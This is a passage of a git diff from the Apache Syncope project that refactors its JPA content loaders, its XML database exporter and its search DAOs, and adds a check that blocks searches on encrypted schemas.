stream().sorted(Comparator.comparing(SyncopeCoreLoader::getOrder).reversed()). forEachOrdered(loader -> { String loaderName = AopUtils.getTargetClass(loader).getName(); diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/ContentLoaderHandler.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/ContentLoaderHandler.java index f07957abef8..94a7b8d4099 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/ContentLoaderHandler.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/ContentLoaderHandler.java @@ -26,6 +26,7 @@ import javax.sql.DataSource; import javax.xml.bind.DatatypeConverter; import org.apache.commons.lang3.StringUtils; +import org.apache.commons.text.StringEscapeUtils; import org.apache.commons.text.StringSubstitutor; import org.apache.syncope.core.provisioning.api.utils.FormatUtils; import org.slf4j.Logger; @@ -44,6 +45,8 @@ public class ContentLoaderHandler extends DefaultHandler { private static final Logger LOG = LoggerFactory.getLogger(ContentLoaderHandler.class); + private static final String CONF_DIR = "syncope.conf.dir"; + private final JdbcTemplate jdbcTemplate; private final String rootElement; @@ -65,6 +68,9 @@ public ContentLoaderHandler( this.continueOnError = continueOnError; this.paramSubstitutor = new StringSubstitutor(key -> { String value = env.getProperty(key, fetches.get(key)); + if (value != null && CONF_DIR.equals(key)) { + value = value.replace('\\', '/'); + } return StringUtils.isBlank(value) ? null : value; }); } @@ -92,6 +98,7 @@ private Object[] getParameters(final String tableName, final Attributes attrs) { LOG.warn("Variable ${} could not be resolved", attrs.getValue(i)); value = attrs.getValue(i); } + value = StringEscapeUtils.unescapeXml(value); switch (colType) { case Types.INTEGER: diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/KeymasterConfParamLoader.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/KeymasterConfParamLoader.java index 0ee598824e1..9745a1e90c5 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/KeymasterConfParamLoader.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/KeymasterConfParamLoader.java @@ -20,16 +20,19 @@ import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.json.JsonMapper; -import java.io.IOException; import java.io.InputStream; import java.util.Iterator; import java.util.Map; +import java.util.Optional; +import java.util.concurrent.Callable; import javax.sql.DataSource; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.core.persistence.api.content.ConfParamLoader; import org.apache.syncope.core.spring.ApplicationContextProvider; +import org.apache.syncope.core.spring.security.AuthContextUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.transaction.annotation.Transactional; /** * Initialize Keymaster with default content if no data is present already. @@ -53,41 +56,40 @@ public int getOrder() { @Override public void load(final String domain, final DataSource datasource) { - boolean existingData; - try { - existingData = !confParamOps.list(domain).isEmpty(); - } catch (Exception e) { - LOG.error("[{}] Could not access Keymaster", domain, e); - existingData = true; - } + AuthContextUtils.callAsAdmin(domain, new Callable() { - if (existingData) { - LOG.info("[{}] Data found in Keymaster, leaving untouched", domain); - } else { - LOG.info("[{}] Empty Keymaster found, loading default content", domain); + @Transactional + @Override + public Void call() throws Exception { + boolean existingData; + try { + existingData = !confParamOps.list(domain).isEmpty(); + } catch (Exception e) { + LOG.error("[{}] Could not access Keymaster", domain, e); + existingData = true; + } - try { - InputStream contentJSON = ApplicationContextProvider.getBeanFactory(). - getBean(domain + "KeymasterConfParamsJSON", InputStream.class); - loadDefaultContent(domain, contentJSON); - } catch (Exception e) { - LOG.error("[{}] While loading default Keymaster content", domain, e); - } - } - } + if (existingData) { + LOG.info("[{}] Data found in Keymaster, leaving untouched", domain); + } else { + LOG.info("[{}] Empty Keymaster found, loading default content", domain); - protected void loadDefaultContent(final String domain, final InputStream contentJSON) - throws IOException { + try (InputStream contentJSON = ApplicationContextProvider.getBeanFactory(). + getBean(domain + "KeymasterConfParamsJSON", InputStream.class)) { - try (contentJSON) { - JsonNode content = MAPPER.readTree(contentJSON); - for (Iterator> itor = content.fields(); itor.hasNext();) { - Map.Entry param = itor.next(); - Object value = MAPPER.treeToValue(param.getValue(), Object.class); - if (value != null) { - confParamOps.set(domain, param.getKey(), value); + JsonNode content = MAPPER.readTree(contentJSON); + for (Iterator> itor = content.fields(); itor.hasNext();) { + Map.Entry param = itor.next(); + Optional.ofNullable(MAPPER.treeToValue(param.getValue(), Object.class)). + ifPresent(value -> confParamOps.set(domain, param.getKey(), value)); + } + } catch (Exception e) { + LOG.error("[{}] While loading default Keymaster content", domain, e); + } } + + return null; } - } + }); } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/XMLContentExporter.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/XMLContentExporter.java index 79ea9fad17c..03f70d874c3 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/XMLContentExporter.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/content/XMLContentExporter.java @@ -26,7 +26,6 @@ import java.sql.Blob; import java.sql.Connection; import java.sql.DatabaseMetaData; -import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.SQLException; @@ -44,10 +43,10 @@ import java.util.Objects; import java.util.Optional; import java.util.Set; +import java.util.StringJoiner; import java.util.TreeMap; import java.util.TreeSet; import java.util.function.Supplier; -import java.util.stream.Collectors; import java.util.stream.Stream; import javax.persistence.CollectionTable; import javax.persistence.Column; @@ -71,35 +70,20 @@ import org.apache.cxf.helpers.IOUtils; import org.apache.openjpa.lib.util.collections.BidiMap; import org.apache.openjpa.lib.util.collections.DualHashBidiMap; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.core.persistence.api.DomainHolder; import org.apache.syncope.core.persistence.api.content.ContentExporter; import org.apache.syncope.core.persistence.api.dao.AuditConfDAO; import org.apache.syncope.core.persistence.api.dao.RealmDAO; -import org.apache.syncope.core.persistence.jpa.entity.JPAAccessToken; import org.apache.syncope.core.persistence.jpa.entity.JPARealm; -import org.apache.syncope.core.persistence.jpa.entity.JPAReportExec; -import org.apache.syncope.core.persistence.jpa.entity.anyobject.JPAAMembership; -import org.apache.syncope.core.persistence.jpa.entity.anyobject.JPAAPlainAttr; -import org.apache.syncope.core.persistence.jpa.entity.anyobject.JPAAPlainAttrUniqueValue; -import org.apache.syncope.core.persistence.jpa.entity.anyobject.JPAAPlainAttrValue; -import org.apache.syncope.core.persistence.jpa.entity.anyobject.JPAARelationship; -import org.apache.syncope.core.persistence.jpa.entity.anyobject.JPAAnyObject; -import org.apache.syncope.core.persistence.jpa.entity.task.JPANotificationTaskExec; -import org.apache.syncope.core.persistence.jpa.entity.task.JPAPropagationTaskExec; -import org.apache.syncope.core.persistence.jpa.entity.task.JPAPullTaskExec; -import org.apache.syncope.core.persistence.jpa.entity.task.JPAPushTaskExec; -import org.apache.syncope.core.persistence.jpa.entity.task.JPASchedTaskExec; -import org.apache.syncope.core.persistence.jpa.entity.user.JPAUMembership; -import org.apache.syncope.core.persistence.jpa.entity.user.JPAUPlainAttr; -import org.apache.syncope.core.persistence.jpa.entity.user.JPAUPlainAttrUniqueValue; -import org.apache.syncope.core.persistence.jpa.entity.user.JPAUPlainAttrValue; -import org.apache.syncope.core.persistence.jpa.entity.user.JPAURelationship; -import org.apache.syncope.core.persistence.jpa.entity.user.JPAUser; import org.apache.syncope.core.provisioning.api.utils.FormatUtils; import org.apache.syncope.core.spring.ApplicationContextProvider; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.datasource.DataSourceUtils; +import org.springframework.jdbc.support.JdbcUtils; +import org.springframework.jdbc.support.MetaDataAccessException; import org.springframework.orm.jpa.EntityManagerFactoryUtils; import org.xml.sax.SAXException; import org.xml.sax.helpers.AttributesImpl; @@ -111,102 +95,18 @@ public class XMLContentExporter implements ContentExporter { protected static final Logger LOG = LoggerFactory.getLogger(XMLContentExporter.class); - protected static final Set TABLE_PREFIXES_TO_BE_EXCLUDED = Stream.of("QRTZ_", "LOGGING", - AuditConfDAO.AUDIT_ENTRY_TABLE, JPAReportExec.TABLE, - JPAPropagationTaskExec.TABLE, JPANotificationTaskExec.TABLE, JPASchedTaskExec.TABLE, - JPAPushTaskExec.TABLE, JPAPullTaskExec.TABLE, - JPAUser.TABLE, JPAUPlainAttr.TABLE, JPAUPlainAttrValue.TABLE, - JPAUPlainAttrUniqueValue.TABLE, JPAURelationship.TABLE, JPAUMembership.TABLE, - JPAAnyObject.TABLE, JPAAPlainAttr.TABLE, JPAAPlainAttrValue.TABLE, JPAAPlainAttrUniqueValue.TABLE, - JPAARelationship.TABLE, JPAAMembership.TABLE, JPAAccessToken.TABLE - ).collect(Collectors.toCollection(HashSet::new)); - - protected static final Map TABLES_TO_BE_FILTERED = - Map.of("TASK", "DTYPE <> 'PropagationTask' AND DTYPE <> 'NotificationTask'"); - - protected static final Map> COLUMNS_TO_BE_NULLIFIED = - Map.of("SYNCOPEGROUP", Set.of("USEROWNER_ID")); + protected static final Set TABLE_PREFIXES_TO_BE_EXCLUDED = Set.of( + "QRTZ_", AuditConfDAO.AUDIT_ENTRY_TABLE); protected static boolean isTableAllowed(final String tableName) { return TABLE_PREFIXES_TO_BE_EXCLUDED.stream(). allMatch(prefix -> !tableName.toUpperCase().startsWith(prefix.toUpperCase())); } - protected static List sortByForeignKeys(final String dbSchema, final Connection conn, - final Set tableNames) - throws SQLException { - - Set> roots = new HashSet<>(); - - DatabaseMetaData meta = conn.getMetaData(); - - Map> exploited = new TreeMap<>(String.CASE_INSENSITIVE_ORDER); - Set pkTableNames = new HashSet<>(); - - for (String tableName : tableNames) { - MultiParentNode node = exploited.get(tableName); - if (node == null) { - node = new MultiParentNode<>(tableName); - roots.add(node); - exploited.put(tableName, node); - } - - pkTableNames.clear(); - - ResultSet rs = null; - try { - rs = meta.getImportedKeys(conn.getCatalog(), dbSchema, tableName); - - // this is to avoid repetition - while (rs.next()) { - pkTableNames.add(rs.getString("PKTABLE_NAME")); - } - } finally { - if (rs != null) { - try { - rs.close(); - } catch (SQLException e) { - LOG.error("While closing tables result set", e); - } - } - } - - for (String pkTableName : pkTableNames) { - if (!tableName.equalsIgnoreCase(pkTableName)) { - MultiParentNode pkNode = exploited.get(pkTableName); - if (pkNode == null) { - pkNode = new MultiParentNode<>(pkTableName); - roots.add(pkNode); - exploited.put(pkTableName, pkNode); - } - - pkNode.addChild(node); - - if (roots.contains(node)) { - roots.remove(node); - } - } - } - } - - List sortedTableNames = new ArrayList<>(tableNames.size()); - MultiParentNodeOp.traverseTree(roots, sortedTableNames); - - // remove from sortedTableNames any table possibly added during lookup - // but matching some item in this.tablePrefixesToBeExcluded - sortedTableNames.retainAll(tableNames); - - LOG.debug("Tables after retainAll {}", sortedTableNames); - - Collections.reverse(sortedTableNames); - - return sortedTableNames; - } - protected static String getValues(final ResultSet rs, final String columnName, final Integer columnType) throws SQLException { - String res = null; + String value = null; try { switch (columnType) { @@ -215,20 +115,20 @@ protected static String getValues(final ResultSet rs, final String columnName, f case Types.LONGVARBINARY: InputStream is = rs.getBinaryStream(columnName); if (is != null) { - res = DatatypeConverter.printHexBinary(IOUtils.toString(is).getBytes()); + value = DatatypeConverter.printHexBinary(IOUtils.toString(is).getBytes()); } break; case Types.BLOB: Blob blob = rs.getBlob(columnName); if (blob != null) { - res = DatatypeConverter.printHexBinary(IOUtils.toString(blob.getBinaryStream()).getBytes()); + value = DatatypeConverter.printHexBinary(IOUtils.toString(blob.getBinaryStream()).getBytes()); } break; case Types.BIT: case Types.BOOLEAN: - res = rs.getBoolean(columnName) ? "1" : "0"; + value = rs.getBoolean(columnName) ? "1" : "0"; break; case Types.DATE: @@ -236,31 +136,22 @@ protected static String getValues(final ResultSet rs, final String columnName, f case Types.TIMESTAMP: Timestamp timestamp = rs.getTimestamp(columnName); if (timestamp != null) { - res = FormatUtils.format(OffsetDateTime.ofInstant( + value = FormatUtils.format(OffsetDateTime.ofInstant( Instant.ofEpochMilli(timestamp.getTime()), ZoneId.systemDefault())); } break; default: - res = rs.getString(columnName); + value = rs.getString(columnName); } } catch (IOException e) { - LOG.error("Error retrieving hexadecimal string", e); + LOG.error("Error fetching value from {}", columnName, e); } - return res; + return value; } - protected final DomainHolder domainHolder; - - protected final RealmDAO realmDAO; - - public XMLContentExporter(final DomainHolder domainHolder, final RealmDAO realmDAO) { - this.domainHolder = domainHolder; - this.realmDAO = realmDAO; - } - - protected String columnName(final Supplier>> attrs, final String columnName) { + protected static String columnName(final Supplier>> attrs, final String columnName) { String name = attrs.get().map(attr -> { if (attr.getName().equalsIgnoreCase(columnName)) { return attr.getName(); @@ -285,230 +176,213 @@ protected String columnName(final Supplier>> attrs, final return name; } - protected boolean isTask(final String tableName) { - return "TASK".equalsIgnoreCase(tableName); - } - - @SuppressWarnings("unchecked") - protected void exportTable( - final TransformerHandler handler, - final Connection conn, - final String tableName, - final String whereClause, - final BidiMap> entities, - final Set> taskEntities, - final Map> relationTables) throws SQLException, SAXException { + protected static Map> relationTables(final BidiMap> entities) { + Map> relationTables = new HashMap<>(); - LOG.debug("Export table {}", tableName); + entities.values().stream().forEach(e -> e.getAttributes().stream(). + filter(a -> a.getPersistentAttributeType() != Attribute.PersistentAttributeType.BASIC). + forEach(a -> { + Field field = (Field) a.getJavaMember(); - PreparedStatement stmt = null; - ResultSet rs = null; - try { - StringBuilder orderBy = new StringBuilder(); + String attrName = Optional.ofNullable(field.getAnnotation(Column.class)). + map(Column::name). + orElse(a.getName()); - DatabaseMetaData meta = conn.getMetaData(); + Optional.ofNullable(field.getAnnotation(CollectionTable.class)). + ifPresent(collectionTable -> relationTables.put( + collectionTable.name(), + Pair.of(attrName, collectionTable.joinColumns()[0].name()))); - // retrieve primary keys to perform an ordered select - ResultSet pkeyRS = null; - try { - pkeyRS = meta.getPrimaryKeys(null, null, tableName); - while (pkeyRS.next()) { - String columnName = pkeyRS.getString("COLUMN_NAME"); - if (columnName != null) { - if (orderBy.length() > 0) { - orderBy.append(','); + Optional.ofNullable(field.getAnnotation(JoinTable.class)).ifPresent(joinTable -> { + String tableName = joinTable.name(); + if (StringUtils.isBlank(tableName)) { + tableName = entities.getKey(e) + "_" + + entities.getKey(((PluralAttribute) a).getElementType()); } - orderBy.append(columnName); - } - } - } finally { - if (pkeyRS != null) { - try { - pkeyRS.close(); - } catch (SQLException e) { - LOG.error("While closing result set", e); - } - } - } - - // ------------------------------------ - StringBuilder query = new StringBuilder(); - query.append("SELECT * FROM ").append(tableName).append(" a"); - if (StringUtils.isNotBlank(whereClause)) { - query.append(" WHERE ").append(whereClause); - } - if (orderBy.length() > 0) { - query.append(" ORDER BY ").append(orderBy); - } - stmt = conn.prepareStatement(query.toString()); + relationTables.put( + tableName, + Pair.of(joinTable.joinColumns()[0].name(), + joinTable.inverseJoinColumns()[0].name())); + }); + })); - List> rows = new ArrayList<>(); + return relationTables; + } - Optional> entity = entities.entrySet().stream(). - filter(entry -> entry.getKey().equalsIgnoreCase(tableName)). - findFirst(). - map(Map.Entry::getValue); + protected static List sortByForeignKeys( + final Connection conn, final String schema, final Set tableNames) + throws SQLException { - String outputTableName = entity.isPresent() - ? entities.getKey(entity.get()) - : relationTables.keySet().stream().filter(tableName::equalsIgnoreCase).findFirst(). - orElse(tableName); - if (isTask(tableName)) { - outputTableName = "Task"; - } + Set> roots = new HashSet<>(); - rs = stmt.executeQuery(); - while (rs.next()) { - Map row = new HashMap<>(); - rows.add(row); - - ResultSetMetaData rsMeta = rs.getMetaData(); - for (int i = 0; i < rsMeta.getColumnCount(); i++) { - String columnName = rsMeta.getColumnName(i + 1); - Integer columnType = rsMeta.getColumnType(i + 1); - - // Retrieve value taking care of binary values. - String value = getValues(rs, columnName, columnType); - if (value != null && (!COLUMNS_TO_BE_NULLIFIED.containsKey(tableName) - || !COLUMNS_TO_BE_NULLIFIED.get(tableName).contains(columnName))) { - - String name = columnName; - if (entity.isPresent()) { - name = columnName( - () -> (Stream>) entity.get().getAttributes().stream(), columnName); - } + DatabaseMetaData meta = conn.getMetaData(); - if (isTask(tableName)) { - name = columnName( - () -> taskEntities.stream().flatMap(e -> e.getAttributes().stream()), columnName); - } + Map> exploited = new TreeMap<>(String.CASE_INSENSITIVE_ORDER); + Set pkTableNames = new HashSet<>(); - if (relationTables.containsKey(outputTableName)) { - Pair relationColumns = relationTables.get(outputTableName); - if (name.equalsIgnoreCase(relationColumns.getLeft())) { - name = relationColumns.getLeft(); - } else if (name.equalsIgnoreCase(relationColumns.getRight())) { - name = relationColumns.getRight(); - } - } + for (String tableName : tableNames) { + MultiParentNode node = Optional.ofNullable(exploited.get(tableName)).orElseGet(() -> { + MultiParentNode n = new MultiParentNode<>(tableName); + roots.add(n); + exploited.put(tableName, n); + return n; + }); - row.put(name, value); - LOG.debug("Add for table {}: {}=\"{}\"", outputTableName, name, value); - } + pkTableNames.clear(); + try (ResultSet rs = meta.getImportedKeys(conn.getCatalog(), schema, tableName)) { + // this is to avoid repetition + while (rs.next()) { + pkTableNames.add(rs.getString("PKTABLE_NAME")); } } - if (tableName.equalsIgnoreCase(JPARealm.TABLE)) { - List> realmRows = new ArrayList<>(rows); - rows.clear(); - realmDAO.findAll().forEach(realm -> realmRows.stream().filter(row -> { - String id = row.get("ID"); - if (id == null) { - id = row.get("id"); - } - return realm.getKey().equals(id); - }).findFirst().ifPresent(rows::add)); - } + pkTableNames.stream(). + filter(pkTableName -> !tableName.equalsIgnoreCase(pkTableName)). + forEach(pkTableName -> { - for (Map row : rows) { - AttributesImpl attrs = new AttributesImpl(); - row.forEach((key, value) -> attrs.addAttribute("", "", key, "CDATA", value)); + MultiParentNode pkNode = Optional.ofNullable(exploited.get(pkTableName)). + orElseGet(() -> { + MultiParentNode n = new MultiParentNode<>(pkTableName); + roots.add(n); + exploited.put(pkTableName, n); + return n; + }); - handler.startElement("", "", outputTableName, attrs); - handler.endElement("", "", outputTableName); - } - } finally { - if (rs != null) { - try { - rs.close(); - } catch (SQLException e) { - LOG.error("While closing result set", e); - } - } - if (stmt != null) { - try { - stmt.close(); - } catch (SQLException e) { - LOG.error("While closing statement", e); - } - } + pkNode.addChild(node); + + if (roots.contains(node)) { + roots.remove(node); + } + }); } + + List sortedTableNames = new ArrayList<>(tableNames.size()); + MultiParentNodeOp.traverseTree(roots, sortedTableNames); + + // remove from sortedTableNames any table possibly added during lookup + // but matching some item in this.tablePrefixesToBeExcluded + sortedTableNames.retainAll(tableNames); + + LOG.debug("Tables after retainAll {}", sortedTableNames); + + Collections.reverse(sortedTableNames); + + return sortedTableNames; } - protected Set> taskEntities(final Set> entityTypes) { - return entityTypes.stream().filter(e -> e.getName().endsWith("Task")).collect(Collectors.toSet()); + protected final DomainHolder domainHolder; + + protected final RealmDAO realmDAO; + + public XMLContentExporter(final DomainHolder domainHolder, final RealmDAO realmDAO) { + this.domainHolder = domainHolder; + this.realmDAO = realmDAO; } - protected BidiMap> entities(final Set> entityTypes) { - BidiMap> entities = new DualHashBidiMap<>(); - entityTypes.forEach(entity -> { - Table table = entity.getBindableJavaType().getAnnotation(Table.class); - if (table != null) { - entities.put(table.name(), entity); + @SuppressWarnings("unchecked") + protected void exportTable( + final DataSource dataSource, + final String tableName, + final int threshold, + final BidiMap> entities, + final Map> relationTables, + final TransformerHandler handler) throws SQLException, MetaDataAccessException, SAXException { + + LOG.debug("Export table {}", tableName); + + String orderBy = JdbcUtils.extractDatabaseMetaData(dataSource, meta -> { + StringJoiner ob = new StringJoiner(","); + + // retrieve primary keys to perform an ordered select + try (ResultSet pkeyRS = meta.getPrimaryKeys(null, null, tableName)) { + while (pkeyRS.next()) { + Optional.ofNullable(pkeyRS.getString("COLUMN_NAME")).ifPresent(ob::add); + } } - }); - return entities; - } + return ob.toString(); + }); - protected Map> relationTables(final BidiMap> entities) { - Map> relationTables = new HashMap<>(); - entities.values().stream().forEach(e -> e.getAttributes().stream(). - filter(a -> a.getPersistentAttributeType() != Attribute.PersistentAttributeType.BASIC). - forEach(a -> { - String attrName = a.getName(); + // ------------------------------------ + StringBuilder query = new StringBuilder(); + query.append("SELECT * FROM ").append(tableName).append(" a"); + if (StringUtils.isNotBlank(orderBy)) { + query.append(" ORDER BY ").append(orderBy); + } - Field field = (Field) a.getJavaMember(); - Column column = field.getAnnotation(Column.class); - if (column != null) { - attrName = column.name(); + JdbcTemplate jdbcTemplate = new JdbcTemplate(dataSource); + jdbcTemplate.setMaxRows(threshold); + + Optional> entity = entities.entrySet().stream(). + filter(entry -> entry.getKey().equalsIgnoreCase(tableName)). + findFirst(). + map(Map.Entry::getValue); + + String outputTableName = entity.map(entities::getKey). + orElseGet(() -> relationTables.keySet().stream(). + filter(tableName::equalsIgnoreCase).findFirst(). + orElse(tableName)); + + List> rows = new ArrayList<>(); + + jdbcTemplate.query(query.toString(), rs -> { + Map row = new HashMap<>(); + rows.add(row); + + ResultSetMetaData rsMeta = rs.getMetaData(); + for (int i = 0; i < rsMeta.getColumnCount(); i++) { + String columnName = rsMeta.getColumnName(i + 1); + Integer columnType = rsMeta.getColumnType(i + 1); + + // Retrieve value taking care of binary values. + Optional.ofNullable(getValues(rs, columnName, columnType)).ifPresent(value -> { + String name = entity.map(e -> columnName( + () -> (Stream>) e.getAttributes().stream(), columnName)). + orElse(columnName); + + if (relationTables.containsKey(outputTableName)) { + Pair relationColumns = relationTables.get(outputTableName); + if (name.equalsIgnoreCase(relationColumns.getLeft())) { + name = relationColumns.getLeft(); + } else if (name.equalsIgnoreCase(relationColumns.getRight())) { + name = relationColumns.getRight(); + } } - CollectionTable collectionTable = field.getAnnotation(CollectionTable.class); - if (collectionTable != null) { - relationTables.put( - collectionTable.name(), - Pair.of(attrName, collectionTable.joinColumns()[0].name())); - } + row.put(name, value); + LOG.debug("Add for table {}: {}=\"{}\"", outputTableName, name, value); + }); + } + }); - JoinTable joinTable = field.getAnnotation(JoinTable.class); - if (joinTable != null) { - String tableName = joinTable.name(); - if (StringUtils.isBlank(tableName)) { - tableName = entities.getKey(e) + "_" - + entities.getKey(((PluralAttribute) a).getElementType()); - } + if (tableName.equalsIgnoreCase(JPARealm.TABLE)) { + List> realmRows = new ArrayList<>(rows); + rows.clear(); + realmDAO.findDescendants(SyncopeConstants.ROOT_REALM, null, -1, -1). + forEach(realm -> realmRows.stream().filter(row -> { - relationTables.put( - tableName, - Pair.of(joinTable.joinColumns()[0].name(), - joinTable.inverseJoinColumns()[0].name())); - } - })); + String id = Optional.ofNullable(row.get("ID")).orElseGet(() -> row.get("id")); + return realm.getKey().equals(id); + }).findFirst().ifPresent(rows::add)); + } - return relationTables; + for (Map row : rows) { + AttributesImpl attrs = new AttributesImpl(); + row.forEach((key, value) -> attrs.addAttribute("", "", key, "CDATA", value)); + + handler.startElement("", "", outputTableName, attrs); + handler.endElement("", "", outputTableName); + } } @Override public void export( final String domain, - final OutputStream os, - final String uwfPrefix, - final String gwfPrefix, - final String awfPrefix) + final int tableThreshold, + final OutputStream os) throws SAXException, TransformerConfigurationException { - if (StringUtils.isNotBlank(uwfPrefix)) { - TABLE_PREFIXES_TO_BE_EXCLUDED.add(uwfPrefix); - } - if (StringUtils.isNotBlank(gwfPrefix)) { - TABLE_PREFIXES_TO_BE_EXCLUDED.add(gwfPrefix); - } - if (StringUtils.isNotBlank(awfPrefix)) { - TABLE_PREFIXES_TO_BE_EXCLUDED.add(awfPrefix); - } - StreamResult streamResult = new StreamResult(os); SAXTransformerFactory transformerFactory = (SAXTransformerFactory) SAXTransformerFactory.newInstance(); transformerFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); @@ -521,10 +395,8 @@ public void export( handler.startDocument(); handler.startElement("", "", ROOT_ELEMENT, new AttributesImpl()); - DataSource dataSource = domainHolder.getDomains().get(domain); - if (dataSource == null) { - throw new IllegalArgumentException("Could not find DataSource for domain " + domain); - } + DataSource dataSource = Optional.ofNullable(domainHolder.getDomains().get(domain)). + orElseThrow(() -> new IllegalArgumentException("Could not find DataSource for domain " + domain)); String schema = null; if (ApplicationContextProvider.getBeanFactory().containsBean(domain + "DatabaseSchema")) { @@ -534,13 +406,9 @@ public void export( } } - Connection conn = null; - ResultSet rs = null; - try { - conn = DataSourceUtils.getConnection(dataSource); - final DatabaseMetaData meta = conn.getMetaData(); - - rs = meta.getTables(null, StringUtils.isBlank(schema) ? null : schema, null, new String[] { "TABLE" }); + Connection conn = DataSourceUtils.getConnection(dataSource); + try (ResultSet rs = conn.getMetaData(). + getTables(null, StringUtils.isBlank(schema) ? null : schema, null, new String[] { "TABLE" })) { Set tableNames = new TreeSet<>(String.CASE_INSENSITIVE_ORDER); @@ -557,14 +425,15 @@ public void export( EntityManagerFactory emf = EntityManagerFactoryUtils.findEntityManagerFactory( ApplicationContextProvider.getBeanFactory(), domain); Set> entityTypes = emf == null ? Set.of() : emf.getMetamodel().getEntities(); - BidiMap> entities = entities(entityTypes); + BidiMap> entities = new DualHashBidiMap<>(); + entityTypes.forEach(entity -> Optional.ofNullable( + entity.getBindableJavaType().getAnnotation(Table.class)). + ifPresent(table -> entities.put(table.name(), entity))); // then sort tables based on foreign keys and dump - for (String tableName : sortByForeignKeys(schema, conn, tableNames)) { + for (String tableName : sortByForeignKeys(conn, schema, tableNames)) { try { - exportTable( - handler, conn, tableName, TABLES_TO_BE_FILTERED.get(tableName.toUpperCase()), - entities, taskEntities(entityTypes), relationTables(entities)); + exportTable(dataSource, tableName, tableThreshold, entities, relationTables(entities), handler); } catch (Exception e) { LOG.error("Failure exporting table {}", tableName, e); } @@ -572,24 +441,7 @@ public void export( } catch (SQLException e) { LOG.error("While exporting database content", e); } finally { - if (rs != null) { - try { - rs.close(); - } catch (SQLException e) { - LOG.error("While closing tables result set", e); - } - } - DataSourceUtils.releaseConnection(conn, dataSource); - if (conn != null) { - try { - if (!conn.isClosed()) { - conn.close(); - } - } catch (SQLException e) { - LOG.error("While releasing connection", e); - } - } } handler.endElement("", "", ROOT_ELEMENT); diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractAnyDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractAnyDAO.java index c0fd4366bb5..3362317b5a3 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractAnyDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractAnyDAO.java @@ -63,7 +63,6 @@ import org.apache.syncope.core.persistence.api.entity.anyobject.AnyObject; import org.apache.syncope.core.persistence.api.entity.group.Group; import org.apache.syncope.core.persistence.api.entity.user.User; -import org.apache.syncope.core.persistence.jpa.entity.user.JPAUser; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; @@ -102,22 +101,6 @@ protected AnyUtils anyUtils() { return anyUtils; } - protected String findKey(final String name, final String table) { - Query query = entityManager().createNativeQuery( - "SELECT id FROM " + table + " WHERE " + (JPAUser.TABLE.equals(table) ? "username" : "name") + "=?"); - query.setParameter(1, name); - - String key = null; - - for (Object resultKey : query.getResultList()) { - key = resultKey instanceof Object[] - ? (String) ((Object[]) resultKey)[0] - : ((String) resultKey); - } - - return key; - } - @SuppressWarnings("unchecked") protected List findAllKeys(final String table, final int page, final int itemsPerPage) { Query query = entityManager().createNativeQuery( @@ -225,11 +208,8 @@ public List findByPlainAttrValue( query.setParameter("schemaKey", schema.getKey()); query.setParameter("stringValue", attrValue.getStringValue()); query.setParameter("booleanValue", attrValue.getBooleanValue()); - if (attrValue.getDateValue() == null) { - query.setParameter("dateValue", null); - } else { - query.setParameter("dateValue", attrValue.getDateValue().toInstant()); - } + query.setParameter("dateValue", Optional.ofNullable(attrValue.getDateValue()). + map(OffsetDateTime::toInstant).orElse(null)); query.setParameter("longValue", attrValue.getLongValue()); query.setParameter("doubleValue", attrValue.getDoubleValue()); diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractAnySearchDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractAnySearchDAO.java index 0443b457617..ad2ccfc956e 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractAnySearchDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractAnySearchDAO.java @@ -45,7 +45,6 @@ import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.AbstractSearchCond; import org.apache.syncope.core.persistence.api.dao.search.AnyCond; -import org.apache.syncope.core.persistence.api.dao.search.AssignableCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.DynRealmCond; import org.apache.syncope.core.persistence.api.dao.search.MemberCond; @@ -200,9 +199,11 @@ protected abstract > List doSearch( protected Pair check(final AttrCond cond, final AnyTypeKind kind) { AnyUtils anyUtils = anyUtilsFactory.getInstance(kind); - PlainSchema schema = plainSchemaDAO.find(cond.getSchema()); - if (schema == null) { - throw new IllegalArgumentException("Invalid schema " + cond.getSchema()); + PlainSchema schema = Optional.ofNullable(plainSchemaDAO.find(cond.getSchema())). + orElseThrow(() -> new IllegalArgumentException("Invalid schema " + cond.getSchema())); + + if (AttrSchemaType.Encrypted == schema.getType()) { + throw new IllegalArgumentException("Cannot search by encrypted schema " + cond.getSchema()); } 